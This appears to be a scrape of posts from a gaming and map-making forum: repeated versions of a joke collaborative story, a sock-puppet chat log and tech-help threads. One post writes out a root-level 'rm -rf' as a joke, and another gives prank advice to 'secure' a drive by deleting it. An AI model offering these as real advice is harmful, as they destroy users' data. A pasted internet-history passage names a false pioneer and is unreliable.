And yet Jig Saw just happen to notice that there was a McDonalds right across the street! But when he enters the door he accidently got hit in the head with a soccer ball! And his memory has been lost! O NOEZ!!!! Then God knew that the only way for Jig Saw was to get back his memory and defeat the virus was to once again call in Havokk Edge , Jrkookid , Edan , Down Rodeo's help forming the SUPER AWESOME HEROIC BLAZEST IMMORTAL GALACTIC CONQUEST TEAM!!!!


Somehow Jigsaw finds his way home he explores it for awhile.Looking around he starts to remember a lil bit,but nothing of his quest to destroy the virus.Eventually he stumbles into the computer room and sees the computer.He gets on and pulls up the internet.Somehow Superjer.com was his homepage and Everything returned...HE REMEMBERED EVERYTHING,BUT before he could start back he suddenly just Blacked Out....

An hour later Jig Saw woke up.He saw a man with a purple furry suit and a cane. Then the man said
Quote:
I am Master Pimp Havokk. I am here to help you!
They went to a limo and Havokk said. Lets go to Dakookid's House. Jig Saw's memory was coming back slightly. Moments later they arrived to a mansion with a highly advanced security system. A voice says
Quote:
Who's There?
Havokk says
Quote:
It's me Havokk and with me is Jig Saw.
The voice replies
Quote:
Excellent
Then a door appears out of no where.


Havokk n Jig Saw enters through the door. Jig Saw a familiar face. He said. Hey there Jig Saw its me Jrkookid , a Spartan-II warrior from the distant future. Come with me to the Arsenal. There lies a section which has a red headband, a red suit, Some boots and a longsword. The encryption said "Vincent Valentine". Jig Saw puts on the armor and his entire memory comes back to him! The virus is no ordinary virus! It is an evil spirit which is trapped in his computer! The spirit's true form is very devastating. Jrkookid , Havokk , Edan , Down Rodeo and Jig Saw fought in a great war with this monster for hundreds of years!!! And now Jig Saw said " Lets Finish the Fight! "

So they suited up a walked up o the giant computer.Jigsaw went to the keyboard and typed something on the keyboard and pressed ENTER.then they were forcfully sucked into the computer.After they all arrived they started to thnk of thier next move.So they uploaded a cmpfire ad tent and sat around it.they though sinc it had been such a long day they would rest and continue tomarrow.As the sun sat they sat around the fire catching up with thier friens they hadnt seen in awhile.

The day final came for the final battle.for the battle had been brought to them.As they were all leaving the tent a army of small virus lined the horizon.Havokk lifted up his sword and gave a battle cry :"CRY HAVOKK!"everyones but Jig saw charged in with bullets and blades as Jigsaw stared down his most thoughtful enemy.The Virus itself.It stood on a hilltop on a crotch rocket and charged down at Jig Saw.

The battle took outside the computer and into another dimension where the great war was held. Havokk killed about 107 soldiers already I , Dakookid , Killed bout 112 soldiers with my sniper rifle while Jig Saw had a sword battle with "Supremus Omegas" AKA the virus. Our army was decreasing by 5% day after day. About 5 days later we called in a 1 Hour worth of Air STrikes to cover us while we are retreating. Now we must setup a battle plan!

so we upload an undergrond hideout and another fire.while resting Havokk gives Jigsaw his guns.He tells him that he left them at the camp be4 the fight and to not forget them next time.Jigsaw takes them shines them and loads them.He points one at Havokk and shoots him in the foot to release all the anger that he built up that day so he wouldnt go off.Then he puts them in his holister and goes off to bed

In Story by the fucked up minds of the Superjer Comunnity by jrkookid:
Once a pawn a time, Jig Saw was on the Interwets and he done got a virus!

The virus re-ordered his filesystem and put oyster sauce on his keyboard so now matter how smart Jig Saw tried to sound it come out dumb and stinky.

But Jig Saw had a plan. If he could get the community behind it, he and the others could create a story so powerful and emotionally draining, it could kill the virus.

So Jig Saw went to the SuperJer Forum and put his letters and punctuation in a box and clicked "Hope."

Unfortunatly they refuse to help him.

Being So Bitterly Rejected he loses all hope and is about to give up.Then he got an Idea ...mabye if he could get a conversation going that was interesting and unquie there might still be a chance!


The next few minutes Jrkookid start getting the story on and he said this firetruck is a waste of time! but Jig Saw knew that he left the refrigerator freezer open and now he is about to catch a cold! and yet Jig Saw refuses to give up!

Barely able to sit up on Jigsaw goes endlessly typing. Hoping that mabye somehow he just might be able to reliquish the virus once and for all,But the virus seems to have a mind of its own.It throws pop-up and irrefusable offers but some how jigsaw manages to on!

And yet Jig Saw just happen to notice that there was a McDonalds right across the street! But when he enters the door he accidently got hit in the head with a soccer ball! And his memory has been lost! O NOEZ!!!! Then God knew that the only way for Jig Saw was to get back his memory and defeat the virus was to once again call in Havokk Edge , Jrkookid , Edan , Down Rodeo's help forming the SUPER AWESOME HEROIC BLAZEST IMMORTAL GALACTIC CONQUEST TEAM!!!!


Somehow Jigsaw finds his way home he explores it for awhile.Looking around he starts to remember a lil bit,but nothing of his quest to destroy the virus.Eventually he stumbles into the computer room and sees the computer.He gets on and pulls up the internet.Somehow Superjer.com was his homepage and Everything returned...HE REMEMBERED EVERYTHING,BUT before he could start back he suddenly just Blacked Out....

An hour later Jig Saw woke up.He saw a man with a purple furry suit and a cane. Then the man said
Quote:
I am Master Pimp Havokk. I am here to help you!
They went to a limo and Havokk said. Lets go to Dakookid's House. Jig Saw's memory was coming back slightly. Moments later they arrived to a mansion with a highly advanced security system. A voice says
Quote:
Who's There?
Havokk says
Quote:
It's me Havokk and with me is Jig Saw.
The voice replies
Quote:
Excellent
Then a door appears out of no where.


Havokk n Jig Saw enters through the door. Jig Saw a familiar face. He said. Hey there Jig Saw its me Jrkookid , a Spartan-II warrior from the distant future. Come with me to the Arsenal. There lies a section which has a red headband, a red suit, Some boots and a longsword. The encryption said "Vincent Valentine". Jig Saw puts on the armor and his entire memory comes back to him! The virus is no ordinary virus! It is an evil spirit which is trapped in his computer! The spirit's true form is very devastating. Jrkookid , Havokk , Edan , Down Rodeo and Jig Saw fought in a great war with this monster for hundreds of years!!! And now Jig Saw said " Lets Finish the Fight! "

So they suited up a walked up o the giant computer.Jigsaw went to the keyboard and typed something on the keyboard and pressed ENTER.then they were forcfully sucked into the computer.After they all arrived they started to thnk of thier next move.So they uploaded a cmpfire ad tent and sat around it.they though sinc it had been such a long day they would rest and continue tomarrow.As the sun sat they sat around the fire catching up with thier friens they hadnt seen in awhile.

The day final came for the final battle.for the battle had been brought to them.As they were all leaving the tent a army of small virus lined the horizon.Havokk lifted up his sword and gave a battle cry :"CRY HAVOKK!"everyones but Jig saw charged in with bullets and blades as Jigsaw stared down his most thoughtful enemy.The Virus itself.It stood on a hilltop on a crotch rocket and charged down at Jig Saw.

The battle took outside the computer and into another dimension where the great war was held. Havokk killed about 107 soldiers already I , Dakookid , Killed bout 112 soldiers with my sniper rifle while Jig Saw had a sword battle with "Supremus Omegas" AKA the virus. Our army was decreasing by 5% day after day. About 5 days later we called in a 1 Hour worth of Air STrikes to cover us while we are retreating. Now we must setup a battle plan!

In Story by the fucked up minds of the Superjer Comunnity by SolidKAYOS:
Once a pawn a time, Jig Saw was on the Interwets and he done got a virus!

The virus re-ordered his filesystem and put oyster sauce on his keyboard so now matter how smart Jig Saw tried to sound it come out dumb and stinky.

But Jig Saw had a plan. If he could get the community behind it, he and the others could create a story so powerful and emotionally draining, it could kill the virus.

So Jig Saw went to the SuperJer Forum and put his letters and punctuation in a box and clicked "Hope."

Unfortunatly they refuse to help him.

Being So Bitterly Rejected he loses all hope and is about to give up.Then he got an Idea ...mabye if he could get a conversation going that was interesting and unquie there might still be a chance!


The next few minutes Jrkookid start getting the story on and he said this firetruck is a waste of time! but Jig Saw knew that he left the refrigerator freezer open and now he is about to catch a cold! and yet Jig Saw refuses to give up!

Barely able to sit up on Jigsaw goes endlessly typing. Hoping that mabye somehow he just might be able to reliquish the virus once and for all,But the virus seems to have a mind of its own.It throws pop-up and irrefusable offers but some how jigsaw manages to on!

And yet Jig Saw just happen to notice that there was a McDonalds right across the street! But when he enters the door he accidently got hit in the head with a soccer ball! And his memory has been lost! O NOEZ!!!! Then God knew that the only way for Jig Saw was to get back his memory and defeat the virus was to once again call in Havokk Edge , Jrkookid , Edan , Down Rodeo's help forming the SUPER AWESOME HEROIC BLAZEST IMMORTAL GALACTIC CONQUEST TEAM!!!!


Somehow Jigsaw finds his way home he explores it for awhile.Looking around he starts to remember a lil bit,but nothing of his quest to destroy the virus.Eventually he stumbles into the computer room and sees the computer.He gets on and pulls up the internet.Somehow Superjer.com was his homepage and Everything returned...HE REMEMBERED EVERYTHING,BUT before he could start back he suddenly just Blacked Out....

An hour later Jig Saw woke up.He saw a man with a purple furry suit and a cane. Then the man said
Quote:
I am Master Pimp Havokk. I am here to help you!
They went to a limo and Havokk said. Lets go to Dakookid's House. Jig Saw's memory was coming back slightly. Moments later they arrived to a mansion with a highly advanced security system. A voice says
Quote:
Who's There?
Havokk says
Quote:
It's me Havokk and with me is Jig Saw.
The voice replies
Quote:
Excellent
Then a door appears out of no where.


Havokk n Jig Saw enters through the door. Jig Saw a familiar face. He said. Hey there Jig Saw its me Jrkookid , a Spartan-II warrior from the distant future. Come with me to the Arsenal. There lies a section which has a red headband, a red suit, Some boots and a longsword. The encryption said "Vincent Valentine". Jig Saw puts on the armor and his entire memory comes back to him! The virus is no ordinary virus! It is an evil spirit which is trapped in his computer! The spirit's true form is very devastating. Jrkookid , Havokk , Edan , Down Rodeo and Jig Saw fought in a great war with this monster for hundreds of years!!! And now Jig Saw said " Lets Finish the Fight! "

So they suited up a walked up o the giant computer.Jigsaw went to the keyboard and typed something on the keyboard and pressed ENTER.then they were forcfully sucked into the computer.After they all arrived they started to thnk of thier next move.So they uploaded a cmpfire ad tent and sat around it.they though sinc it had been such a long day they would rest and continue tomarrow.As the sun sat they sat around the fire catching up with thier friens they hadnt seen in awhile.

The day final came for the final battle.for the battle had been brought to them.As they were all leaving the tent a army of small virus lined the horizon.Havokk lifted up his sword and gave a battle cry :"CRY HAVOKK!"everyones but Jig saw charged in with bullets and blades as Jigsaw stared down his most thoughtful enemy.The Virus itself.It stood on a hilltop on a crotch rocket and charged down at Jig Saw.

In Story by the fucked up minds of the Superjer Comunnity by xXJigsaw23Xx:
Once a pawn a time, Jig Saw was on the Interwets and he done got a virus!

The virus re-ordered his filesystem and put oyster sauce on his keyboard so now matter how smart Jig Saw tried to sound it come out dumb and stinky.

But Jig Saw had a plan. If he could get the community behind it, he and the others could create a story so powerful and emotionally draining, it could kill the virus.

So Jig Saw went to the SuperJer Forum and put his letters and punctuation in a box and clicked "Hope."

Unfortunatly they refuse to help him.

Being So Bitterly Rejected he loses all hope and is about to give up.Then he got an Idea ...mabye if he could get a conversation going that was interesting and unquie there might still be a chance!


The next few minutes Jrkookid start getting the story on and he said this firetruck is a waste of time! but Jig Saw knew that he left the refrigerator freezer open and now he is about to catch a cold! and yet Jig Saw refuses to give up!

Barely able to sit up on Jigsaw goes endlessly typing. Hoping that mabye somehow he just might be able to reliquish the virus once and for all,But the virus seems to have a mind of its own.It throws pop-up and irrefusable offers but some how jigsaw manages to on!

And yet Jig Saw just happen to notice that there was a McDonalds right across the street! But when he enters the door he accidently got hit in the head with a soccer ball! And his memory has been lost! O NOEZ!!!! Then God knew that the only way for Jig Saw was to get back his memory and defeat the virus was to once again call in Havokk Edge , Jrkookid , Edan , Down Rodeo's help forming the SUPER AWESOME HEROIC BLAZEST IMMORTAL GALACTIC CONQUEST TEAM!!!!


Somehow Jigsaw finds his way home he explores it for awhile.Looking around he starts to remember a lil bit,but nothing of his quest to destroy the virus.Eventually he stumbles into the computer room and sees the computer.He gets on and pulls up the internet.Somehow Superjer.com was his homepage and Everything returned...HE REMEMBERED EVERYTHING,BUT before he could start back he suddenly just Blacked Out....

An hour later Jig Saw woke up.He saw a man with a purple furry suit and a cane. Then the man said
Quote:
I am Master Pimp Havokk. I am here to help you!
They went to a limo and Havokk said. Lets go to Dakookid's House. Jig Saw's memory was coming back slightly. Moments later they arrived to a mansion with a highly advanced security system. A voice says
Quote:
Who's There?
Havokk says
Quote:
It's me Havokk and with me is Jig Saw.
The voice replies
Quote:
Excellent
Then a door appears out of no where.


Havokk n Jig Saw enters through the door. Jig Saw a familiar face. He said. Hey there Jig Saw its me Jrkookid , a Spartan-II warrior from the distant future. Come with me to the Arsenal. There lies a section which has a red headband, a red suit, Some boots and a longsword. The encryption said "Vincent Valentine". Jig Saw puts on the armor and his entire memory comes back to him! The virus is no ordinary virus! It is an evil spirit which is trapped in his computer! The spirit's true form is very devastating. Jrkookid , Havokk , Edan , Down Rodeo and Jig Saw fought in a great war with this monster for hundreds of years!!! And now Jig Saw said " Lets Finish the Fight! "

So they suited up a walked up o the giant computer.Jigsaw went to the keyboard and typed something on the keyboard and pressed ENTER.then they were forcfully sucked into the computer.After they all arrived they started to thnk of thier next move.So they uploaded a cmpfire ad tent and sat around it.they though sinc it had been such a long day they would rest and continue tomarrow.As the sun sat they sat around the fire catching up with thier friens they hadnt seen in awhile.

In Story by the fucked up minds of the Superjer Comunnity by jrkookid:
Once a pawn a time, Jig Saw was on the Interwets and he done got a virus!

The virus re-ordered his filesystem and put oyster sauce on his keyboard so now matter how smart Jig Saw tried to sound it come out dumb and stinky.

But Jig Saw had a plan. If he could get the community behind it, he and the others could create a story so powerful and emotionally draining, it could kill the virus.

So Jig Saw went to the SuperJer Forum and put his letters and punctuation in a box and clicked "Hope."

Unfortunatly they refuse to help him.

Being So Bitterly Rejected he loses all hope and is about to give up.Then he got an Idea ...mabye if he could get a conversation going that was interesting and unquie there might still be a chance!


The next few minutes Jrkookid start getting the story on and he said this firetruck is a waste of time! but Jig Saw knew that he left the refrigerator freezer open and now he is about to catch a cold! and yet Jig Saw refuses to give up!

Barely able to sit up on Jigsaw goes endlessly typing. Hoping that mabye somehow he just might be able to reliquish the virus once and for all,But the virus seems to have a mind of its own.It throws pop-up and irrefusable offers but some how jigsaw manages to on!

And yet Jig Saw just happen to notice that there was a McDonalds right across the street! But when he enters the door he accidently got hit in the head with a soccer ball! And his memory has been lost! O NOEZ!!!! Then God knew that the only way for Jig Saw was to get back his memory and defeat the virus was to once again call in Havokk Edge , Jrkookid , Edan , Down Rodeo's help forming the SUPER AWESOME HEROIC BLAZEST IMMORTAL GALACTIC CONQUEST TEAM!!!!


Somehow Jigsaw finds his way home he explores it for awhile.Looking around he starts to remember a lil bit,but nothing of his quest to destroy the virus.Eventually he stumbles into the computer room and sees the computer.He gets on and pulls up the internet.Somehow Superjer.com was his homepage and Everything returned...HE REMEMBERED EVERYTHING,BUT before he could start back he suddenly just Blacked Out....

An hour later Jig Saw woke up.He saw a man with a purple furry suit and a cane. Then the man said
Quote:
I am Master Pimp Havokk. I am here to help you!
They went to a limo and Havokk said. Lets go to Dakookid's House. Jig Saw's memory was coming back slightly. Moments later they arrived to a mansion with a highly advanced security system. A voice says
Quote:
Who's There?
Havokk says
Quote:
It's me Havokk and with me is Jig Saw.
The voice replies
Quote:
Excellent
Then a door appears out of no where.


Havokk n Jig Saw enters through the door. Jig Saw a familiar face. He said. Hey there Jig Saw its me Jrkookid , a Spartan-II warrior from the distant future. Come with me to the Arsenal. There lies a section which has a red headband, a red suit, Some boots and a longsword. The encryption said "Vincent Valentine". Jig Saw puts on the armor and his entire memory comes back to him! The virus is no ordinary virus! It is an evil spirit which is trapped in his computer! The spirit's true form is very devastating. Jrkookid , Havokk , Edan , Down Rodeo and Jig Saw fought in a great war with this monster for hundreds of years!!! And now Jig Saw said " Lets Finish the Fight! "

In Story by the fucked up minds of the Superjer Comunnity by xXJigsaw23Xx:
Once a pawn a time, Jig Saw was on the Interwets and he done got a virus!

The virus re-ordered his filesystem and put oyster sauce on his keyboard so now matter how smart Jig Saw tried to sound it come out dumb and stinky.

But Jig Saw had a plan. If he could get the community behind it, he and the others could create a story so powerful and emotionally draining, it could kill the virus.

So Jig Saw went to the SuperJer Forum and put his letters and punctuation in a box and clicked "Hope."

Unfortunatly they refuse to help him.

Being So Bitterly Rejected he loses all hope and is about to give up.Then he got an Idea ...mabye if he could get a conversation going that was interesting and unquie there might still be a chance!


The next few minutes Jrkookid start getting the story on and he said this firetruck is a waste of time! but Jig Saw knew that he left the refrigerator freezer open and now he is about to catch a cold! and yet Jig Saw refuses to give up!

Barely able to sit up on Jigsaw goes endlessly typing. Hoping that mabye somehow he just might be able to reliquish the virus once and for all,But the virus seems to have a mind of its own.It throws pop-up and irrefusable offers but some how jigsaw manages to on!

And yet Jig Saw just happen to notice that there was a McDonalds right across the street! But when he enters the door he accidently got hit in the head with a soccer ball! And his memory has been lost! O NOEZ!!!! Then God knew that the only way for Jig Saw was to get back his memory and defeat the virus was to once again call in Havokk Edge , Jrkookid , Edan , Down Rodeo's help forming the SUPER AWESOME HEROIC BLAZEST IMMORTAL GALACTIC CONQUEST TEAM!!!!


Somehow Jigsaw finds his way home he explores it for awhile.Looking around he starts to remember a lil bit,but nothing of his quest to destroy the virus.Eventually he stumbles into the computer room and sees the computer.He gets on and pulls up the internet.Somehow Superjer.com was his homepage and Everything returned...HE REMEMBERED EVERYTHING,BUT before he could start back he suddenly just Blacked Out....

In Story by the fucked up minds of the Superjer Comunnity by xXJigsaw23Xx:
no my keyboard wont typeand the fucking computer has a virus im having touble getting rid of

In Story by the fucked up minds of the Superjer Comunnity by eDan Co.:
xXJigsaw23Xx said:
SORRY BOUT mistakes..my WHOLE computer is a piece of shit riht now

I don't get it. Are you a robot?

In Story by the fucked up minds of the Superjer Comunnity by xXJigsaw23Xx:
o,well im just bored atleast somene bring up a subject worth talking abot and thats interestng ...(SORRY BOUT mistakes..my WHOLE computer is a piece of shit riht now

In Half life vs counter strike, whats the difference? by lucy123:
Our package just got here last week from China with these really cool CS figures from www.oh_wow_oh_gosh.com that I bought for my son. He is only 8 and I am starting to think that the computer game is a little too violent for him but the toys are kinda cute and harmless. Does anyone know if these characters have names? You can see them at this page http://www.omg_i_r_dumb.com/ unless they moved them by the time you read this. I have heard some people call this game half life, is there a difference?

In if anyone can help here is my map by eDan Co.:
PLEASE PLEASE PLEASE PLEASE PLEASE PLEASE
Give us more details. I personally can't even download the map because I don't have Hammer on my computer.

Just tell us what the problem is. Is it a compiling error? Trouble making the map?

In tag by coolcat:
lol well im computer challenged and i cant get this picture on here. but i know that i didnt over lap the texture with itself and it is on the wall not floating.

In CS:S non-secure? by Down Rodeo:
That's like asking a Unix user to go

sudo -s
cd /
rm -rf


Which is hilarious, but bad for your computer.

In CS:S non-secure? by Sloth:
eDan Co. said:
Easy as pie!

Got to My Computer, select the harddrive you want secured. Now hit Shift+Delete. You may get a few warnings, that's fine, just hit Enter a lot until the warnings go away.

HAHA very funny..

In cant find the leak by EMO_with_AWP:
download this.. i fixed it and compiled it for u. no errors.. put a simple box arround it with a box... no extra sky that makes it lag.. i get 100 fps on this map on my own server.. and i have a terrible computer..

http://files.filefront.com/fy+biggy+2rar/;11228166;/fileinfo.html

In CS:S non-secure? by eDan Co.:
Easy as pie!

Got to My Computer, select the harddrive you want secured. Now hit Shift+Delete. You may get a few warnings, that's fine, just hit Enter a lot until the warnings go away.

In ehhhh... help? by abcladder:
Down Rodeo said:
The swapfile size can be increased. Only do this if you know what you are doing. Sounds stupid but I don't want the blame if everything about your computer breaks.

Right click on your main drive, properties, advanced (I think) then there should be options to change the size. As it happens I can't check right now.

Thing is this will be a really slow compile if you do that. You should consider buying RAM (again if you know what you are doing).

ehhh... i increased the swapfile size but it still doesnt work... and ive got 1GB RAM

In ehhhh... help? by Down Rodeo:
The swapfile size can be increased. Only do this if you know what you are doing. Sounds stupid but I don't want the blame if everything about your computer breaks.

Right click on your main drive, properties, advanced (I think) then there should be options to change the size. As it happens I can't check right now.

Thing is this will be a really slow compile if you do that. You should consider buying RAM (again if you know what you are doing).

In It does not start by Down Rodeo:
Speaking of which, browser-based Quake 3! Coming to a cheap games computer near you!

In Darkbasic Pro by SolidKAYOS:
Just cause "Some of us" can Hammer mapping and are a bunch of computer freaks...or porn freaks.Doesn't mean we pirate stuff.

We actually go look it up our selves.Googly my man.Googly!

Im actually kinda gettin mad in the f.f.fight section ppl just come by and ask for pics.. "oh gimme the link!"IVE ALREADY POSTED THE FUCKING LINK!!!!

In TEXTURE PROBLEM PLZ HELP ME!!!!!!!!!!!!!!!PLZ!!!!!!!!!!!!!!!!!!! by caelean1324:
im trying to make my first cs1.6 map and i cannot texture
im using superjers mapmaking guide and it says to type in the texture box''cstrike.wad'' but whenever i do that the computer gives me an error that says''file not found.please verify the correct file name was given''anything i do to get past this part???????????????????????????
PLZ HELP!!!!!

In DLL decompiler by Down Rodeo:
This is what I was teaching myself from before I moved onto the next shiny computer thing. It seems pretty decent.

In DLL decompiler by eDan Co.:
That's it!

I have nothing to do during the summer, so I think I'll start learning C and maybe take a course on computer science. I can't stand using a device every day without knowing how it works.

In I want a Ip check by SolidKAYOS:
I wen back and checked the thing.


FakeJer said:
howcanthatbepossible
09:22:39 EDT
eDan Co. said:
very possible
09:22:46 EDT
eDan Co. said:
2 browsers
09:22:50 EDT
eDan Co. said:
2 computers
09:22:55 EDT
eDan Co. said:
2 people
09:23:02 EDT
eDan Co. said:
it's easy
09:23:14 EDT
eDan Co. said:
and you just gave it away
09:23:39 EDT
Havokk Edge said:
Uhh No im not Fakejer.
09:23:52 EDT
FakeJer said:
seriously
09:23:54 EDT
Havokk Edge said:
I might have alot of accounts
09:23:57 EDT
Havokk Edge said:
hes not one of them
09:24:06 EDT
eDan Co. said:
HAHA
09:24:12 EDT
FakeJer said:
dont tarnish my name!
09:24:18 EDT
Havokk Edge said:
I get on another acccount
09:24:31 EDT
FakeJer said:
havokk is too girly to be me!
09:25:09 EDT
Havokk Edge said:
I only got 2 browsers and 1 computer
09:25:26 EDT
Havokk Edge said:
Ill use internet exploer and come in as one of my accounts
09:25:42 EDT
Master Shake said:
I am your new master!!
09:25:57 EDT
eDan Co. said:
Oh... com on!
09:26:06 EDT
FakeJer said:
............
09:26:15 EDT
eDan Co. said:
Havokk, stop it!
09:26:22 EDT
Master Shake said:
what
09:26:23 EDT
FakeJer said:
should i use firefox and log in to fakerjer?
09:26:29 EDT
Master Shake said:
Im not fakejer damn it
09:26:42 EDT
FakeJer said:
I AM!
09:26:59 EDT
eDan Co. said:
I KNOW YOU ARE
09:27:13 EDT
eDan Co. said:
OH GOD!
09:27:21 EDT
FakeJer said:
WHO?
09:27:43 EDT
eDan Co. said:
stfu
09:27:53 EDT
FakeJer said:
WHO?????
09:28:03 EDT
eDan Co. said:
4 users online... 3 of them are you.
09:28:11 EDT
eDan Co. said:
You're stupid
09:28:17 EDT
Master Shake said:
omfg
09:28:27 EDT
FakeJer said:
HECK YOU
09:28:36 EDT
FakeJer said:
you are more stupid!
09:28:40 EDT
eDan Co. said:
I can't believe I thought it was SRAW
09:28:43 EDT
Master Shake said:
How can i be on 3?
09:28:51 EDT
Master Shake said:
I only got one computer and two browsers
09:28:55 EDT
eDan Co. said:
You are
09:29:00 EDT
FakeJer said:
thats right!
09:29:21 EDT
FakeJer said:
to mastershake
09:29:26 EDT
FakeJer said:
...
09:29:29 EDT
FakeJer said:
lag
09:29:41 EDT
FakeJer said:
i am?
09:29:49 EDT
eDan Co. said:
yes
09:29:56 EDT
eDan Co. said:
now go away
09:30:01 EDT
FakeJer said:
to where
09:30:10 EDT
eDan Co. said:
please. its really annoying
09:30:20 EDT
Master Shake said:
dud im not fakejer
09:30:29 EDT
FakeJer said:
dud im not havokk
09:30:39 EDT
Master Shake said:
wtf
09:30:48 EDT
FakeJer said:
wtf
09:30:48 EDT
eDan Co. said:
OK
09:30:59 EDT
Master Shake said:
?????????????
09:31:05 EDT
eDan Co. said:
I never told master shake he was fakejer
09:31:10 EDT
FakeJer said:
btw who deleted my post about superjer?

Master Shake said:
dud im not fakejer
09:30:29 EDT
FakeJer said:
dud im not havokk
09:30:39 EDT


I would like you to notice the time.The time is off by 10 seconds.Now if i was really fakerjer why would i set my self up exactly like this?same letters same words.why would i if i was really trying to hide it?

So now i wonder.what about YOU!?You also have another account do you not?Plus you was there.You also have two browsers.

By the time and your typing skills.That seems about right.That you are fakerjer and you copied me in that moment.

which again i say why the hell would i set my self up like that?
I'm not that dumb either.so whats your excuse.You have nothing against it.

EDIT:

Master Shake said:
wtf
09:30:48 EDT
FakeJer said:
wtf
09:30:48 EDT

I saw this and was ganna let you gripe about it.But just to tell you.I cant switch between browsers like that and type them at the same damn time in a split second.But that would fucking awesome if i could.

( and why is my stuff Bold??)

In by SolidKAYOS:
Most of them.Ive only had avg detect 2 things that had Trojans.

I'm very VERY proud of my Avg.I have 0 infections and viruses on my computer

In GaH! Windows 98!! by aaronjer:
Havokk Edge said:
dude.I can tell you this and i don't know shit about computers.

If you want a 2000 iileagly you will have to steal it out of walmart yourself.

Downloading it is impossible.Its not a software.windows 2000 is a COMPUTER!But you could get your computer fixed up(CPU) into a xp.


This is probably the dumbest thing I've ever read. And I read a lot of worse than failure articles...

In GaH! Windows 98!! by SolidKAYOS:
dude.I can tell you this and i don't know shit about computers.

If you want a 2000 iileagly you will have to steal it out of walmart yourself.

Downloading it is impossible.Its not a software.windows 2000 is a COMPUTER!But you could get your computer fixed up(CPU) into a xp.

In GaH! Windows 98!! by aaronjer:
Go get a free Linux. It can't possibly be worse than 98. I'm surprised you can even get on here long enough to post with a 98 computer. 98 has no security and no support... it's pretty much just broken at this point.

In Laptop halp.. by Down Rodeo:
SOGRURR said:
So how do I get the free CD that it shows...??

Download the CD image you want. I recommend Ubuntu 8.04 desktop edition but have a look around. KDE (Kubuntu) is a bit more Windows-like and is rather sexy. I'm considering swapping to it.

When you've downloaded the ISO (this could take a long time) use your favourite CD burning software to burn it to a blank CD.

Your computer makes a copy, you stick it in the tray then close any windows that pop up then restart. It should then boot from the CD. If it doesn't, tell me.

To get back to Windows use the quit command, when it's shutting down it will eject the CD and you can boot up into Windows when you restart. Any problems at any stage just post here and I should be able to give you an hand.

(If it doesn't seem to boot from the CD try pressing F2 as it starts. Works for my PC ^^)

(This will not install Ubuntu, consider it a trial.)

In Sticks. by eDan Co.:
Havokk Edge said:
Thats why internet was born.


I beg to differ.

Prior to the widespread inter-networking that led to the Internet, most communication networks were limited by their nature to only allow communications between the stations on the network, and the prevalent computer networking method was based on the central mainframe method. In the 1960s, computer researchers, Levi C. Finch and Robert W. Taylor pioneered calls for a joined-up global network to address interoperability problems. Concurrently, several research programs began to research principles of networking between separate physical networks, and this led to the development of Packet switching. These included Donald Davies (NPL), Paul Baran (RAND Corporation), and Leonard Kleinrock's MIT and UCLA research programs.

This led to the development of several packet switched networking solutions in the late 1960s and 1970s, including ARPANET, and X.25. Additionally, public access and hobbyist networking systems grew in popularity, including UUCP. They were however still disjointed separate networks, served only by limited gateways between networks. This led to the application of packet switching to develop a protocol for inter-networking, where multiple different networks could be joined together into a super-framework of networks. By defining a simple common network system, the Internet protocol suite, the concept of the network could be separated from its physical implementation. This spread of inter-network began to form into the idea of a global inter-network that would be called 'The Internet', and this began to quickly spread as existing networks were converted to become compatible with this. This spread quickly across the advanced telecommunication networks of the western world, and then began to penetrate into the rest of the world as it became the de-facto international standard and global network. However, the disparity of growth led to a digital divide that is still a concern today.

Following commercialisation and introduction of privately run Internet Service Providers in the 1980s, and its expansion into popular use in the 1990s, the Internet has had a drastic impact on culture and commerce. This includes the rise of near instant communication by e-mail, text based discussion forums, the World Wide Web. Investor speculation in new markets provided by these innovations would also lead to the inflation and collapse of the Dot-com bubble, a major market collapse. But despite this, growth of the Internet continued, and still does.

Down Rodeo is gonna catch me, I'm sure.

In by eDan Co.:
Oh shit, I got like 3 letters wrong, but I can still read everything you guys said. No use in deleting the truck, I copied it all to my computer.

HAHA! YOU SUCK!

In Help a hammer noob please. by nugget:
Okay, I'm planning to submit a map to fpsbanana. Ive never submitted anything before but plan to submit a map. However, i have a few questions befour i do that. This is the 2nd map i've ever made, so dont be too harsh on me. I think its a pretty big improvement from my 1st (a single room, 2 lights, 2 spawn points, no buy zone, no weapons, nothing).

1. mkay, so i'ved pretty much made the map. Ive added some entities, i have 18 spawn points (thats all i could fit), lights, no leaks. It runs nice and good. But so far, i've tested it out and it works just fine. (its fy by the way). Since i've never made a map before, i dont know how it would turn out. Do i need to add the game player entity that gives everyone knives? Im not realy sure. Same for glocks/usp's.

2. i've got this farfecthed idea that i dont know if it will work. I want to assign every spawn point a pistol right? Except for one thing. I want to make it a game of luck. of course out of my 9 spawn points for each side, 8 people will get a usp/glock, but i want 1 person to get a deagle. How would i go about doing this? (im not sure if i want to do this for this map, but possibly for a later map)

3. Okay, let's say i've completed the map and all of this stuff. Ive got the map set up on hammer, i've put it in a zhlt folder and tested it out. Where do i go from there, to submitting it on fpsbanana? I'm not a computer expert, so if you guys would be so kind as to tell me what to do including all the archive stuff and everything.

4. And the noobiest question of all. Im sorry guys, this is embarassing, but how do you take screen shots in the game? I always thought it was alt+print screen, but i never knew where those shots went. If it is, i would like to know where those screen shots are located on your computer.

I would appreciate your answers as soon as possible, as I would like to share this map with a few of my clan mates. And our server is shutting down very soon. I want this to get up, be able to be downloaded, and put on our mirror server and stuff, so i can just show it off.

p.s. my map name will be fy_backyardmaze. Im not sure if this name already exists. If it does, would any of you be so kind to tell me. Here are some pictures of my map btw. (theres a secret area taht contains armor, an awp, m4, ak, and an HE. Theres another secret area which is a buy room. But you'll need some teamwork for that one, if you know what i mean.

In forum game by eDan Co.:
This was the first forum game played on superjer.com.
Take a computer game or a movie's title and replace one of the words with 'vagina'. ('fart' can also work)

Harry Potter and the Sorcerer's Vagina
Vagina Job
Grand Vagina Auto

In NEW PROBLEM!!!!....again... by Down Rodeo:
Core (important) dll files are generally stuck in that folder you mentioned. However, as I found out recently when trying to get my computer to recognise an iPod Nano (yes it is kinda crap but look at it, it's so pretty!) sometimes they are missing. I'd recommend that you go download the file from somewhere but that is such a bad idea it is still funny (but not very). So if you do get a new PC, that problem should disappear! Also, but TF2, and basically every Valve game.

In Everyone can Relax now by eDan Co.:
Yup, me too. I get on the computer and automatically start playing Risk and answering Hammer questions.
YYEESSSS!!!!! I GET A POINT!!!

In Everyone can Relax now by xXJigsaw23Xx:
Well i cant say that edan but i will say any time i see a computer I have to log in to superjer.com its like a habit now i just have to see whats going on even if i sign on every couple of minutes!

In by xXJigsaw23Xx:
Havokk Edge said:
eDan Co. said:
joggy said:
Hi :)

